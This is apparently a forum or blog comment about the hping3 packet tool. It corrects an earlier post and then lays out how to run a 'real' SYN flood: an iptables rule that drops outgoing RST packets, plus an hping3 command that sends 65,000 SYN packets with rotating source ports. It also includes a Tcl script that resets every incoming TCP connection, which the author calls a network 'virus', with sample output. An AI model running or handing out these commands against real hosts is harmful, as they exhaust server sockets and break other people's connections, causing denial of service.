This is a SYN attack, in the same way, that every car is a race car.

You send a SYN, and get a SYN/ACK back. However its a build in mechanism that you send a RESET back for the other side to close the socket.
So what you will accomplish is just a lot of incomplete 3-way handshake, which WE stop after the second handshake. and the server closes the socket…..

The command used is correct indeed,
sudo hping3 -i u1 -S -p 80 192.168.1.1

However I would always use a -c with the -I u1 option as you don’t want your server to become unreachable and stay that way.
And, to make it a real SYN attack, drop egressing RST packets in iptables.
This causes the server to keep the sockets open and you can exhaust the sockets on the server side.
a real SYN attack is done as following:

iptables -A OUTPUT -p tcp -m tcp –tcp-flags RST RST -j DROP
sudo hping3 -i u1 -s ++0 -S -p 80 -c 65000 192.168.1.1

Don’t forget to remove the iptables rule afterwards, or even better, add the destination to drop RSTs, otherwise, all RSTs are dropped.

I just love hping3,
and the TCL capability.

for example, reset all tcp connections coming in :
while 1 {
set p [lindex [hping recv eth0] 0]
hping3 “-R” “-a” “[hping getfield ip daddr $p]” “-c” “1” “-p” “[hping getfield tcp sport $p]” “[hping getfield ip saddr $p]”
}

And the nice reply , where the remote is Acknowledging our RESET of the socket :)
nice network “virus”, which doesn’t let connections to be made :)

HPING x.x.x.x (br0 x.x.x.x): R set, 40 headers + 0 data bytes
len=46 ip=x.x.x.x ttl=117 DF id=25736 sport=61012 flags=A seq=0 win=9469 rtt=0.0 ms

— x.x.x.x hping statistic —
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

Have a nice (packet) crafting life :)

do you know how to sniff a network?